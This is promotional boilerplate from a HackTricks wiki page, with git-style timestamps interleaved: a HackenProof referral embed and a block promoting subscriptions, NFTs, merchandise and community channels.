2022-04-28 16:01:33 +00:00
2022-11-05 09:07:43 +00:00
{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
< details >
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >